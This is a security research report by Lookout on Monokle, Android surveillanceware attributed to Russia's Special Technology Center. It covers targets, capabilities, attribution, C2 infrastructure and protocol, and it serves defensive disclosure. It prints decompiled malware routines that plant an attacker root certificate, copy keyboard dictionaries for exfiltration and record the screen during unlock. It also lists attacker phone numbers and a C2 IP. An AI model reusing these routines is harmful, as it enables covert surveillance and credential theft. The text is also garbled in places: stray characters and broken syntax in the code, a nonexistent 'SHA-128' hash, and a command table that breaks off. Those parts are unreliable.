SECURITY RESEARCH REPORT

Monokle
The Mobile Surveillance Tooling of the Special Technology Center

July 2019
# Contents

## Executive Summary 3

## Key Findings 4

### Monokle Mobile Surveillanceware 5
- Observed samples 5
- Potential targets 6
- Malicious functionality 7
- Evidence of iOS components 11

## Special Technology Center (STC) 13
- Background 13
- Security product suite by STC 14
- Links between monokle and security software developed by STC 17
- Potentially connected developers 18

## Attacker Infrastructure 22
- Attacker-controlled mobile devices 22
- Unique control phrases 23

## Detailed Malware Analysis 23
- Second stage encrypted DEX files 23
- Configuration files 23
- Inclusion of Xposed modules 27
- Communication and serialization protocols 27
- Server commands and responses 31

## Contributors 35
- Contact information 35

## Appendix A: Indicators of Compromise 36
- SHA1s of Monokle APKs 36
- Command and control infrastructure 36

## Appendix B: YARA Rules 37
- Monokle Android samples 37
Executive Summary

Lookout has discovered a highly targeted mobile malware threat that uses a new and sophisticated set of custom Android surveillanceware tools called Monokle that has possible connections to Russian threat actors. Lookout research indicates these tools are part of a targeted set of campaigns and are developed by the St. Petersburg, Russia-based company, Special Technology Centre, Ltd. (STC, Ltd. or STC).

In late 2016, the amendment to Executive Order 13964 issued by then President Barack Obama, imposed sanctions on STC as one of three companies that provided material support to the Main Intelligence Directorate (GRU) for alleged interference in the 2016 U.S. presidential election. STC is a private defense contractor known for producing Unmanned Aerial Vehicles (UAVs) and Radio Frequency (RF) equipment for supply to the Russian military, as well as other government customers. STC has been operating in St. Petersburg since 2000 and has approximately 1500 employees.

Monokle, developed by STC, is an advanced mobile surveillanceware that compromises a user’s privacy by stealing personal data stored on an infected device and exfiltrating this information to command and control infrastructure. While most of its functionality is typical of a mobile surveillanceware, Monokle is unique in that it uses existing methods in novel ways in order to be extremely effective at data exfiltration, even without root access. Among other things, Monokle makes extensive use of the Android accessibility services to exfiltrate data from third party applications and uses predictive-text dictionaries to get a sense of the topics of interest to a target. Monokle will also attempt to record the screen during a screen unlock event so as to compromise a user’s PIN, pattern or password.

Monokle appears in a very limited set of applications which implies attacks using Monokle are highly targeted. Many of these applications are trojanized and include legitimate functionality, so user suspicion is not aroused. Lookout data indicates this tool is still being actively deployed.

Lookout is able to link STC to Monokle because it has also discovered that STC has been developing a set of Android security applications, including an antivirus solution, which share infrastructure with Monokle, among other links which are detailed in this report. These applications were developed “for a government customer” according to an STC developer.

Lookout is providing, with this report, a list of more than 80 Indicators of Compromise (IOCs) that would allow cyber security solutions to protect their customers from this threat. Lookout customers have been protected against Monokle since early 2018.
Key Findings

Lookout has discovered new mobile surveillanceware called Monokle

- Monokle is a sophisticated mobile surveillanceware that possesses remote access trojan (RAT) functionality, advanced data exfiltration techniques as well as the ability to install an attacker-specified certificate to the trusted certificates on an infected device that would allow for man-in-the-middle (MITM) attacks.
- Lookout has observed samples in the wild since March 2016. Lookout sensors show that activity appears to remain small but consistent, peaking during the first half of 2018.
- Monokle makes extensive use of Android accessibility services to exfiltrate data from third party applications by reading text displayed on a device’s screen at any point in time.
- There is evidence that an iOS version of Monokle is in development. Lookout has no evidence of active iOS infections.
- Monokle has likely been used to target individuals in the Caucasus regions and individuals interested in the Ahrar al-Sham militant group in Syria, among others.

Special Technology Center (STC) is a Russian defense contractor sanctioned by the U.S. Government in connection to alleged interference in the 2016 US presidential elections

- STC is known for producing Unmanned Aerial Vehicles (UAVs) and radio frequency (RF) measurement equipment.
- STC was sanctioned by the US Government through an amendment to Executive Order 13964, and is linked to providing material support to the Main Intelligence Directorate (GRU) and assisting them in conducting signals intelligence operations.

STC is developing both offensive and defensive Android security software

- Lookout researchers have discovered previously unknown mobile software development and surveillance capabilities of STC, suggesting that it operates on both the offensive and defensive side of mobile tooling.
- Its Android antivirus solution is called Defender and its mobile surveillanceware is called Monokle. It is through connections between these tools that Lookout can establish conclusively that STC is the developer of Monokle.
- Lookout has found strong links that tie STC’s Android software development operations to Monokle’s IOCs.
- Lookout has found shared command and control infrastructure used by both legitimate and malicious Android applications produced by STC.
- The Defender application and related software has been referred to by an STC developer as developed “for a government customer”.
- Lookout data indicates this tool is still being actively deployed.

Lookout is releasing more than 80 indicators of compromise (IOC):

- 57 SHA-128 hashes and 1 YARA rule for Android malware IOCs.
- 22 domains and IP addresses.
- Four Russian mobile phone numbers used as attacker control phones for Monokle.
Monokle Mobile Surveillanceware

The Monokle surveillanceware family is a well-written and sophisticated piece of mobile malware. One of the most interesting parts of Monokle is that, with root access, it is capable of installing additional attacker-specified certificates to the trusted certificates on an infected device, effectively opening up the target and the device to Man-In-The-Middle (MITM) attacks against TLS traffic. However, Lookout researchers were surprised at the lengths to which Monokle developers have gone to operate successfully without requiring root access. This allows the software to be incredibly flexible and useful in multiple operational scenarios.

This section of the report will detail some of its most interesting malicious functionality and potential targets.

Observed samples

To date Monokle has only been seen in a handful of Android applications and many of the samples have titles and icons very specifically targeted towards certain interests or regions. This leads Lookout researchers to believe that the surveillanceware is probably being used in limited areas around the world. Titles are mostly in English with a handful in Arabic and Russian.

The icons used in different samples of Monokle. Most of these applications are trojanized versions of legitimate secure messaging, productivity, and popularly downloaded applications. The icons and titles have also been stolen from these legitimate applications to disguise Monokle’s real purpose. Other titles used familiar words like Google Update, Flashlight and Security Update Service to appear innocuous to the intended target.
To date, while a small number of samples have been found in the wild, Lookout has found samples appearing to date as far back as mid 2015 and, as shown below, has seen fairly regular releases since then.

Timeline for the number of samples seen and their packaging dates for Monokle. Activity appears to remains small but consistent, rising to a peak during the first half of 2018.

Potential targets

We were unable to access any of the data exfiltrated by this threat and hence cannot state with certainty which individuals or groups have been targeted with Monokle. However, there is some evidence pointing to potential targets within configuration files and titles of applications that contained Monokle. Since they were limited in number, contained complete functionality of the applications they trojanized and in some cases referenced very particular interests, it is reasonable to think that the titles and purpose of these applications played a role in convincing targets to install the malware on their devices.

Based on titles and icons of certain applications, we conclude that individuals in the following groups are targets of Monokle:

- Individuals that are interested in Islam.
- Individuals that are interested in or associated with the Ahrar al-Sham militant group in Syria.
- Individuals living in or associated with the Caucasus regions of Eastern Europe.
- Individuals that may be interested in a messaging application called “UzbekChat” referencing the Central Asian nation and former Soviet republic Uzbekistan. A similar, non-trojanized, application which leverages a telegram template for secure messaging with embedded advertising SDKs is available on the free Android app creation website, AppsGeyser.¹

While some indicators point to these groups, this is by no means an exhaustive list. More detail on two of these groups is provided below, along with Lookout findings that lead to these conclusions.

¹ https://appsgeyser.io/3023577/UzbekChat
Ahrar al-Sham militant group

Initial samples of Monokle acquired by Lookout in December of 2016 were titled *Ahrar Maps*. Lookout telemetry also shows presence of this application in Syria during early 2017. This application is found to be offered through a third party site that advertises association with the Ahrar al-Sham militant group. The group falls under the Syrian Islamic Front umbrella and is aimed at fighting against the Syrian Government and Bashar al-Assad.²

Individuals located within or associated with the Caucasus region

This is the icon of a sample of Monokle initially seen in October of 2017 and is simply titled *caucas*. The icon also references the Caucasus region in Arabic.³ Along a similar vein, strings in the configuration script of another sample of Monokle contain a control phrase which also references Ingushetia⁴, a place in the Northern Caucasus region. That particular app is a trojanized Flashlight application.

Malicious functionality

Monokle has numerous characteristics that distinguish it from other malware families seen in the wild; notably its ability to install trusted certificates and exfiltrate several unique types of data, including user-defined words used for predictive text input and recordings of the user unlocking their device. The application also uses accessibility services much more extensively than most other surveillanceware families to exfiltrate data from a large number of popular applications.

Additionally, apps belonging to the Monokle malware family were found to contain a comprehensive set of surveillanceware capabilities, including:

- Remounts system partition to install attacker specified certificate in /system/etc/security/cacerts/).
- Capable of hooking itself to appear invisible to Process Manager.
- Retrieve calendar information including name of event, when and where it is taking place, and description.
- Get the salt that was used when storing a user’s password at rest allowing for the plaintext retrieval of a user’s password / pincode.
- Receive out-of-band messages via keywords (control phrases) delivered via SMS or from designated control phones.
- Reset a user’s pincode.
- Retrieve user dictionary.
- Record environment audio (and specify if high, medium, or low quality).
- Make outgoing calls.
- Record calls.

² https://en.wikipedia.org/wiki/Ahrar_al-Sham
³ https://en.wikipedia.org/wiki/Caucasus#Endonyms_and_exonyms
⁴ https://en.wikipedia.org/wiki/Ingushetia
• Keylogger.
• Delete arbitrary files.
• Send text messages to an attacker-specified number.
• Download attacker-specified files.
• Reboot a device.
• Interact with popular office applications to retrieve document text.
• Accept commands from a set of ‘control phones’ specified in the sample settings.
• Retrieve contacts.
• Get device information including make, model, power levels, whether connectivity is wi-fi or mobile data, whether screen is on or off, etc.
• Retrieve e-mails.
• Take photos and videos.
• Track device location.
• Take screenshots.
• Get nearby cell tower info.
• List installed applications.
• Retrieve accounts and associated passwords.
• Get nearby Wi-Fi details.
• Make screen recordings.
• Suicide functionality and cleanup of staging files.
• Retrieve browser history (includes doing some basic profiling around frequency of sites visited, recency etc).
• Retrieve call history.
• Collect account information and retrieve messages for WhatsApp, Instagram, VK, Skype, imo.
• Execute arbitrary shell commands, as root, if root access is available.

Trusted certificate install

```java
List v1 = RootHelper.getInstance().executeRootCommandList("ls /system/etc/security/cacerts/"转弯)
if(v1 != null & & !v1.isEmpty()) {
    String v6 = RootHelper.getInstance().getSecurityContext(new File("/system/etc/security/cacerts/", v1.get(0)));
}
RootHelper.getInstance().executeRootCommand("mount -o remount.rw /system");
boolean v5 = RootHelper.getInstance().ddCopyFile(v0.getAbsolutePath(), "/system/etc/security/cacerts" + v4.fileName);
RootHelper.getInstance().deleteFile(v0);
if(!v5) {
    return 100;
}
RootHelper.getInstance().executeRootCommand("chmod 644 /system/etc/security/cacerts" + v4.fileName);
RootHelper.getInstance().executeRootCommand("chown root:root /system/etc/security/cacerts" + v4.fileName);
RootHelper.getInstance().setSecurityContext(new File("/system/etc/security/cacerts"), v4.fileName), v6);
```

One of Monoble’s capabilities allows an adversary to add a certificate of their choosing to the set of those trusted on a compromised device. This would theoretically allow them to conduct man-in-the-middle attacks against SSL-protected traffic if they are able to intercept network traffic.
User-defined words for predictive text input

SQLite databases used for predictive text input at /data/data/com.asus.ime/files/dictionary.dic and /data/data/com.android.providers.userdictionary/databases/user_dict.db are copied to a temporary directory:

```
public static List getUserDictionaryList(List arg0) {
    int v0_1; 
    if (arg0 == null) {
        return null; 
    }

    Logger.log("getUserDictionaryList"); 
    String v2 = new File(Environment.getExternalStorageDirectory(), "data/com.android.providers.userdictionary/databases/user_dict.db").getAbsolutePath();
    File v1 = new File(app.getCacheDir(), "5794pkqo.db");
    if (RootHelper.getInstance().ddRaucopyFile(v0, v1.getAbsolutePath())) {
        Roothelper v2 = RootHelper.getInstance();
        v0 = v0 + "-journal";
        v2 = v2 + "-journal";
        v0_1 = UserDictionary.list.getDictionaryFromDB(arg0, v1);
        v2 = RootHelper.getInstance();
        v2.executeRootCommand("rm -r \" + v1.getAbsolutePath() + "+");
    } else {
        v0_1 = 0;
    }

    if (RootHelper.getInstance().ddRaucopyFile(new File(Environment.getDataDirectory(), "data/com.asus.ime/files/dictionary.dic").getAbsolutePath(), v1.getAbsolutePath())) {
        v0_1 = 0;
    }

    Roothelper v6 = RootHelper.getInstance();
    v6.executeRootCommand("rm -r \" + v1.getAbsolutePath() + "+");

    return v0_1;
}
```

Then words and word frequency information is extracted from the dictionary for transmission to the command and control server:

```
catch (throwable v5) {
    v6 = (SQLiteDatabase)v0;
    v2 = cursorBy6;
    goto label_50;
} catch (exception v5,1) {
    v4 = (SQLiteDatabase)v0;
    goto label_48;
}

try {
    v2 = v6.rawQuery("select word, frequency, locale from words where word not null", ([String[]])v0);
    goto label_61;
} catch (throwable v5) {
} catch (exception v5,1) {
    goto label_48;
}
```

```java
while(true) {
    label 48:
    if ((v2.moveToFirst()) && arg5.size() < 5000) {
        if (sessionManager_needStopSession()) {
            break;
        } else {
            goto label_19;
        }
    }
    goto label_30;
}
```
Screen unlock recording

The malware application makes an attempt to record the screen during unlock events to compromise the device PIN, pattern, or password. On initialization, a BroadcastReceiver is registered for the following intents:

- `android.intent.action.USER_PRESENT`
- `android.intent.action.SCREEN_ON`
- `android.intent.action.SCREEN_OFF`

This BroadcastReceiver calls methods in a ScreenPassword class which attempt to capture the screen contents when the screen is turned on. If the screen is turned off without being unlocked successfully, the capture is stopped and the video file is deleted. If the screen is unlocked, the video is retained and future unlock attempts will not be recorded:

```java
public static void screenOff() {
    if (ScreenPassword.hookVideo != null) {
        Logger.log("xxx Stop hook screen lock");
        ScreenRecorder.getInstance().stopRecorder();
        if (ScreenPassword.hookVideo.exists()) {
            ScreenPassword.hookVideo.delete();
        }
        ScreenPassword.hookVideo = null;
    }
}

public static void screenOn() {
    if ((SettingsParser.getInstance().getSettings().ScreenUnlockHook && ScreenPassword.isDeviceScreenLocked())) {
        Logger.log("xxx Start hook screen lock");
        ScreenPassword.hookVideo = new FileApp().getFilesDir().getAbsolutePath();
        ScreenRecorder.getInstance().startRecorder(ScreenPassword.hookVideo.getAbsolutePath());
    }
}

public static void screenUnlocked() {
    if (ScreenPassword.hookVideo != null) {
        Logger.log("xxx Finish hook screen lock");
        ScreenRecorder.getInstance().stopRecorder();
        if (ScreenPassword.hookVideo != null && ServiceEngine.isRootAvailable()) {
            RootHelper.getInstance().modifyFilePermissions(ScreenPassword.hookVideo, 0x2F3);
            RootHelper.getInstance().modifySecurityContext(ScreenPassword.hookVideo);
        }
        ScreenPassword.hookVideo = CipherHelper.getCipherFile(ScreenPassword.hookVideo);
        if (ScreenPassword.hookVideo.exists()) {
            Logger.log("xxx Finish hook screen lock successful");
            SettingsParser.getInstance().setSettings().ScreenUnlockHook = false;
            SettingsParser.getInstance().saveSettings();
        }
        ScreenPassword.hookVideo = null;
    }
}
Accessibility services usage

The malware is notable for its extensive use of accessibility services to capture data from third party apps such as Microsoft Word, Google Docs, Facebook messenger, Whatsapp, imo, Viber, Skype, WeChat, VK, Line, and Snapchat.

Evidence of iOS components

In several Android samples of Monokle, there are unused commands and data transfer objects (DTOs) defined which point to the existence of an iOS version of the client. These classes and commands appear to serve no purpose as part of the Android client and may have been generated and included in it unintentionally.

GetKeychain/SetKeychain

AgentResponse contains a field named getKeychain that can contain a List of KeyChainItem objects. These appear to be designed to carry data that is consistent with an Apple keychain password item:
GetHealthKit

AgentResponse contains a field which is likely used to respond to a GetHealthKit command and contains data consistent with HealthKit characteristic and sample data which would be accessible through HKHealthStore on an iOS device:

```
public enum KeychainClassType implements Enum {
    public static final enum KeychainClassType GenericPassword;
    public static final enum KeychainClassType InternetPassword;
    private final int int value;
    static {
        KeychainClassType.GenericPassword = new KeychainClassType("GenericPassword", 0, 0);
        KeychainClassType.InternetPassword = new KeychainClassType("InternetPassword", 1, 1);
        KeychainClassType.KVALUES = new KeychainClassType[KeychainClassType.GenericPassword, KeychainClassType.InternetPassword];
    }
```

ShowiCloudLogin

This is a command associated with one field in the ServerCommand class which contains an object with a boolean value named "simulateFailedAttempt".

GetiWatchAccel

This command appears to be intended to send iWatch accelerometer data (x,y,z) back to the server with a timestamp.

ApnsRegistration

This class defines fields for bundle ID, device token, and team ID which is consistent with data which may be required to send notifications to a device using Apple Push Notification service (APNs):
This DTO class is unused but defines one field name “permissions”.

Special Technology Center (STC)

Background

Special Technology Center LLC (a.k.a. STC, STLC Ltd., Special Technology Center St. Petersburg, and ООО Специальный Технологический Центр in Russian) is a privately owned company founded in 2000 and based in the Russian city of St. Petersburg. It is popularly known for its research and development of radio frequency (RF) measurement equipment and Unmanned Aerial Vehicles (UAVs) supplied to international markets, as well as the Government of Russia. Its official address is 21-2 Gzhatskaya Street, St. Petersburg, Russia. Both the Glassdoor and LinkedIn profiles of STC claim that the company has between 1000 and 5000 employees, and is in the computer software industry.
Security product suite by STC

STC is behind the creation of a suite of Android security software solutions, one of them known as Defender. According to our research, although STC has never publicly marketed their Android security suite, it is clear that STC is producing this software and that it is intended for government customers. Multiple Android developer positions have been advertised by STC on popular Russian job search sites in St. Petersburg and Moscow. The positions require both Android and iOS experience and advertise working on a native antivirus solution for Android. In some cases, the professional profile of former employees of STC on social media sites such as LinkedIn have also corroborated being part of the team developing Defender (see the section on Potentially Connected Developers).

According to public job offerings available on a particular Russian job search site, at the time of writing this report, STC has had four active job postings for Android developers within the last year. Details of the work being offered for these positions included development of a C++ antivirus engine for Android, among other specifications. The above image is a screenshot of the English translation of search results on a job search site that refer to STC and its Android related positions.

STC’s Android security suite and Monokle are tied to one another with the help of signer certificates and overlapping command and control infrastructure. The Android security applications developed by STC provide important insight into the software STC produces and yet more connections from Monokle to STC themselves.

Main panel for App Control. The NetMonitor, PathFinder, and Defender options are greyed out unless those applications are installed. App Control also searches a device for Monokle samples, and if found, can set off surveillance activities through the malware. The AppControl application also appears to interact with Monokle samples, if installed on the same device, and can enable certain surveillanceware activities by sending specific intents to the Monokle sample present.
Defender is the antivirus Android application produced by STC. The About page that comes with this application mentions STC explicitly, lists the tool as a beta version (in the version being analyzed during this investigation), and also has the stc-spb.ru website included in the contact information.

**Package name:** defender.stc.com.defender
Links between monokle and security software developed by STC

STC appears to offer a number of software products, but this report will focus on a suite of products that appears to be used as an Android defensive security solution, including a native antivirus engine, and a network monitor application, among others. This particular software allows us to link the work of STC with Monokle samples.

Command and control infrastructure that communicates with the Defender application also communicates with Monokle samples. The signing certificates used for signing Android application packages overlap between Defender and Monokle as well.

Additional overlap was observed by Lookout researchers between Monokle and the defensive security software produced by STC in the authors’ development and implementation choices.
Potentially connected developers

While conducting this investigation, Lookout researchers came across a number of potential developer names that appear to be linked to Monokle or software connected to STC. Some of these leads provided Lookout with the evidence to link development operations within STC to IOCs associated with Monokle.

In some native components of Monokle, Lookout researchers found some developer references that were left behind. The references appear to name a developer and refer to the malware component as monokle-agent. This is why the name Monokle was chosen.
One sample of Monokle initially seen by Lookout in August 2018 contains a configuration file with a test certificate but also specifies a phone number of +79160077334 and the e-mail address p****.w**********@mail.ru. Both the e-mail and phone number could be used by Monokle to exfiltrate information to the attacker. No further public information was found on any individual with this name and e-mail address.
As we delved into applications that were related to both STC and Monokle, we came across a small subset of Android applications signed with the same certificate but that appeared to be associated with two different projects.

These were mostly STC-related applications with the exception of an application called TaskEdge, which was first seen by Lookout sensors in April of 2018. This appears to be the name of an Android application developed for the Samsung Galaxy Appstore. Normally this would mean that the same entity has had a hand in the signing of these applications.

The link appears to be a developer who claims to have worked at STC for a year in 2017-2018 on their “Defender” antivirus project. He is also associated with the company developing TaskEdge.
The developer has an extensive social media presence and this, combined with the signer link between the unrelated apps, lead us to believe the LinkedIn profile and work history is unlikely to be fictitious. This information further links STC to the Defender anti-virus software and, by extension, Monokle.
Attacker Infrastructure

The vast majority of infrastructure that Lookout researchers found linked to Monokle is based on it being hard coded in encrypted configuration files. Some of these configurations also contain specific ports and TLS certificates for communicating to command and control servers, with the applications themselves making use of certificate pinning.

Looking closer at related infrastructure, it was found that samples of Defender (the defensive security solution developed by STC, see “Security Product Suite By STC” section of this report) communicate to the IP address 109.167.231.10, which is also used as a control server by Monokle samples.

In addition to socket information, configuration files also held control phone numbers and control phrases. The control phones can be used to receive exfiltrated data from an infected device and can also send commands to a target device using control phrases. Specifics of how these are used by Monokle and the attacker can be found in the Detailed Malware Analysis section of this report. Specific numbers and phrases will be listed in this section.

Attacker-controlled mobile devices

Four control phones that were found to be associated to Monokle are listed below. All these numbers have the country code +7 which belongs to Russia. According to open source information online, all these numbers appear to be cellular phone numbers with the mobile network operators Megafon and MTS Mobile. Both these companies provide service to Russian users, but in the case of the latter, also to Armenia, Ukraine and Belarus.

<table>
<thead>
<tr>
<th>Mobile number</th>
<th>Region in Russia</th>
</tr>
</thead>
<tbody>
<tr>
<td>+79205916072</td>
<td>Belgorod Region/Nizhny Novgorod Region</td>
</tr>
<tr>
<td>+79160077334</td>
<td>Moscow Region</td>
</tr>
<tr>
<td>+79188107887</td>
<td>Ingushetia Region</td>
</tr>
<tr>
<td>+79817606570</td>
<td>St. Petersbourg and Leningrad Region</td>
</tr>
</tbody>
</table>
Unique control phrases

Configuration files found in Monokle samples came with ten unique control phrases:

```
<table>
<thead>
<tr>
<th>connect</th>
<th>newaddress</th>
<th>audio</th>
<th>Hi!</th>
</tr>
</thead>
<tbody>
<tr>
<td>delete</td>
<td>activate</td>
<td></td>
<td></td>
</tr>
<tr>
<td>location</td>
<td>email</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```

A single configuration file contained control phrases that were in Russian and referred to a territory in the North Caucasus region - Ingushetia\(^\text{10}\). A screenshot of this configuration file can be seen in the Detailed Malware Analysis section of this report.

Detailed Malware Analysis

Second stage encrypted DEX files

Much of the core malicious functionality in later samples of Monokle has been moved to an XOR obfuscated DEX file in the assets folder. The `data.d` file is the second stage encrypted DEX, while `data.e` is a set of 512 bytes which is XOR’d against every consecutive 512 bytes in `data.d`. When unobfuscated, the secondary DEX file sometimes starts with an invalid DEX signature and causes the popular tool dex2jar to throw errors when trying to convert it to a JAR file. But despite this issue, the DEX file is still loaded by Android correctly.

The functionality hidden in this DEX file includes all cryptographic functions implemented in the open source library spongycastle\(^\text{11}\), various e-mail protocols, extraction and exfiltration of all data, serialisation and deserialisation of data using the Thrift protocol, and rooting and hooking functionality, among others.

Configuration files

In older samples, the configuration was stored in the encrypted file `assets/config8261.lmt`. Newer variants now load an initial configuration from `assets/config2.acf`. The configuration has been changed to be a Java object serialized using the Thrift compact protocol and XOR encrypted.

After the initial configuration is loaded, an additional group of settings can be configured by the command and control server or over SMS and the values retrieved initially from the configuration file can be altered. These settings are written to files/setts7465.lmt using Java serialization and the same XOR encryption scheme. Once the new file is written, the initial configuration file is ignored on subsequent app launches.

\(^{10}\) [https://en.wikipedia.org/wiki/Ingushetia](https://en.wikipedia.org/wiki/Ingushetia)

\(^{11}\) [https://github.com/rtyley/spongycastle](https://github.com/rtyley/spongycastle)
Tracking the changes in configuration files over the lifetime of acquired Monokle samples provides valuable insight into how this family has evolved over the past year. Configuration files seen in Monokle samples appear to get more elaborate with time, adding more features and at present, allow an attacker to interact with a device infected by Monokle with more flexibility and options, as seen below.

Currently, the following settings can be stored in the initial configuration file.
<table>
<thead>
<tr>
<th>Setting</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>agentId</td>
<td>An ID the agent receives on connection to the C2.</td>
</tr>
<tr>
<td>period</td>
<td>The approximate interval, in seconds, that the client should wait to beacon out to the C2 using cellular data.</td>
</tr>
<tr>
<td>wifiPeriod</td>
<td>The approximate interval, in seconds, that the client should wait to beacon out to the C2 on Wi-Fi.</td>
</tr>
<tr>
<td>socketAddr</td>
<td>An object which stores the C2 IP and port the client should connect to as well as a cert used for TLS certificate pinning.</td>
</tr>
<tr>
<td>emailAddr</td>
<td>Credentials, POP3 and SMTP server IPs and ports, and e-mail address to use for e-mail communication.</td>
</tr>
<tr>
<td>controlPhones</td>
<td>A list of phone numbers to send outbound SMS communications to.</td>
</tr>
<tr>
<td>controlPhrases</td>
<td>A list of phrases which identify an inbound SMS control message.</td>
</tr>
<tr>
<td>communicationMode</td>
<td>Configures the client to use either the sockets protocol or e-mail for communication.</td>
</tr>
<tr>
<td>usbTunnelPort</td>
<td>The local port the UsbSocketThread will listen on.</td>
</tr>
<tr>
<td>needActivation</td>
<td>If enabled, the client must be activated via SMS before beaconing out to the C2.</td>
</tr>
<tr>
<td>transportCrypto</td>
<td>An object which stores the AES key used for decryption/encryption of data transmitted over the network.</td>
</tr>
<tr>
<td>fileCrypto</td>
<td>Controls whether files such as recordings, pictures, and screenshots will be encrypted and the RSA key which will be used for encryption.</td>
</tr>
<tr>
<td>dataStore</td>
<td>The path where files such as recordings, pictures, and screenshots will be stored.</td>
</tr>
</tbody>
</table>

By deobfuscating the configuration files of multiple samples from this malware family we found that they rely on at least 22 different command and control servers, have specified control phones that use the +7 country code of Russia, and use certificates for pinning that have a CN field value of thorn-ca.
The dumped out deobfuscated configuration of a single sample is shown above. The associated values for the certificate used for pinning (shown at the top of the above image) is printed out in the image below. While it’s worth noting the control phones and infrastructure, the control phrase МЧС Ингушетии просит Вас находиться дома caught our attention as it roughly translates to The Ministry of Emergency Situations of Ingushetia asks you to stay at home. The other Russian control phrase seen in this configuration file roughly translates to Where are you?
Inclusion of Xposed modules

Xposed is a framework that allows a user of an Android device to apply add-ons, referred to as modules, to an Android device’s ROM (Read Only Memory). Xposed modules often modify the Android system, which likely requires the device to be rooted.

Several recent Monokle applications come bundled with Xposed modules that contain functionality for hooking and hiding presence in the process list.

Communication and serialization protocols

Overview

The client applications can be controlled by SMS messages, inbound TCP connections to a listening thread, outbound beaconing TCP connections to a command and control, e-mail message exchange through POP3 and SMTP, and by incoming phone calls. Outbound traffic appears to always be tunnelled over TLS in most recent app samples.

Three types of messages are exchanged between the client and C2 server as serialized Java objects in recent samples: AgentRegistration, ServerCommand and AgentResponse.

For outbound connections, the client initially sends an AgentRegistration object and then polls the server for a ServerCommand object, which contains a task type field that determines what command the client is to run. Other fields in the ServerCommand object may be populated, depending on the command that is being sent.

In response to a command, the agent may transmit a serialized AgentResponse object to the server, which will have one or more fields populated with the data requested.

Control over e-mail works in the same way but SMTP and POP3 are used to exchange messages using servers and credentials specified by the app configuration.

In addition to the beaconing behaviour, in some samples, a separate thread can listen on a local port (which is configuration dependent) for inbound connections. When a connection is made, the app will send an AgentRegistration message, process ServerCommand messages, and send AgentResponse messages as needed. The same command processing logic is used for inbound and outbound connections. It would be possible to scan for a listening Monokle application, accepting connections, but it would require connecting to the appropriate port on a device and correctly parsing AgentRegistration messages.

There are two ways the application can be controlled via SMS. The first is by SMS messages containing a URL with a query string parameter “p” which contains a base64 encoded ServerCommand. This uses the same task processing logic as commands sent over TCP and also has special functionality to pass back location data via SMS.

The other method of control via SMS is through configured control phrases sent from a control phone number. The phrases can trigger one of the following six actions:

1. Uninstall app
2. Send GPS location via SMS
3. Set C2 address and port
4. Activate agent
5. Configure e-mail communication settings
6. Start audio recording

Some functionality can also be triggered through phone calls. The applications are designed to answer calls from specific phone numbers and delete these calls from the call logs. As these calls trigger headsets to be disconnected, this is likely a scheme intended to listen to ambient audio when an internet connection is unavailable. The applications can also be configured to take photos when calls are received from particular phone numbers.

**Message Exchange**

There are four major components to the Monokle network libraries: the Protocol class, the NetConnector class, the SessionManager and its nested classes, and the StreamHelper utility class.

- NetConnector is responsible for abstracting all C2 communications and connection management. It supports either TLS 1.2 communication with a C2 using an SSLSocket for communication through e-mail messages.
- Protocol serializes and deserializes messages sent to and from the C2.
- StreamHelper is responsible for decrypting messages from the server and encrypting messages before they are sent (with the notable exception of registration messages).

**AgentRegistration**

This message type is always the initial one exchanged. It is the only message type which is not encrypted beyond typically being sent over a TLS connection.

<table>
<thead>
<tr>
<th>Length (32 bits, Little Endian)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Thrift Compact Protocol (Variable)</strong></td>
</tr>
</tbody>
</table>

In the payload, a device ID is written using `TCompactProtocol.writeString(String)`\(^{13}\), followed by an agent ID using `TCompactProtocol.writeInt32(int)`\(^{14}\), followed by at least one additional field.

\(^{13}\) https://people.apache.org/~thejas/thrift-0.9/javadoc/org/apache/thrift/protocol/TCompactProtocol.html#writeString(java.lang.String)

\(^{14}\) https://people.apache.org/~thejas/thrift-0.9/javadoc/org/apache/thrift/protocol/TCompactProtocol.html#writeInt32(int)
This is decrypted, using AES, to:

| Length (16 bits, little endian) | bytes |

Where bytes is the Thrift message in Thrift compact protocol format. The message is deserialized into a ServerCommand object.
AgentResponse

Responses sent to the server are encoded as:

- Length (32 bits) Little Endian
- Thrift Compact Binary Data (Variable) Network Byte Order

And then encrypted using AES:

- Length (32 bits)
- 0x01 (1 octet)
- Init Vector (16 octets)
- Cipher Text (Variable Length)
Server commands and responses

There are 78 task types defined, of which 61 are implemented in recent samples. Any unimplemented commands fall back to a method which returns a TErrorType.NOT_SUPPORTED error to the server. Any command can be received inbound through SMS, e-mail, and inbound/outbound TCP connections.

Responses are not sent through SMS aside from for requests for location data.

<table>
<thead>
<tr>
<th>Task ID</th>
<th>Description</th>
<th>AgentResponse Field</th>
<th>ServerCommand Field</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Gathers call logs.</td>
<td>baseSystem.getCallsList.calls</td>
<td>N/A</td>
</tr>
<tr>
<td>2</td>
<td>Collects SMS messages</td>
<td>baseSystem.getSmsList.messages</td>
<td>N/A</td>
</tr>
<tr>
<td>3</td>
<td>Collects contacts</td>
<td>baseSystem.getContactsList.contacts</td>
<td>N/A</td>
</tr>
<tr>
<td>4</td>
<td>Gets a list of files in particular directories on the system.</td>
<td>baseSystem.getFilesList.files</td>
<td>N/A</td>
</tr>
<tr>
<td>5</td>
<td>Retrieves calendar information.</td>
<td>baseSystem.getMeetingsList.meetings</td>
<td>N/A</td>
</tr>
<tr>
<td>6</td>
<td>Retrieves current and historical location data.</td>
<td>baseSystem.getLocation.location</td>
<td>N/A</td>
</tr>
<tr>
<td>7</td>
<td>Collects usernames and passwords for WhatsApp, Instagram, VK, Skype, imo.</td>
<td>baseSystem.getAccountsList.accounts</td>
<td>N/A</td>
</tr>
<tr>
<td>8</td>
<td>Retrieves device info, app package name, Wi-Fi IP</td>
<td>baseSystem.getDeviceInfo</td>
<td>N/A</td>
</tr>
<tr>
<td>9</td>
<td>Gets battery level and information about whether the device is being charged.</td>
<td>baseSystem.getInterfacesStates.states</td>
<td>N/A</td>
</tr>
<tr>
<td>10</td>
<td>Retrieves a file, in chunks, from the file system.</td>
<td>baseSystem.getFile</td>
<td>baseSystem.getFile</td>
</tr>
<tr>
<td>11</td>
<td>Provides the server with a list of tasks the client is capable of performing.</td>
<td>baseSystem.getCapabilities, baseSystem.getCapabilities.taskCapabilities</td>
<td>N/A</td>
</tr>
<tr>
<td>12</td>
<td>Gets browser history from Firefox, HTC browser, Opera, Samsung browser, Dolphin browser.</td>
<td>baseSystem.getBrowserHistory</td>
<td>N/A</td>
</tr>
<tr>
<td>13</td>
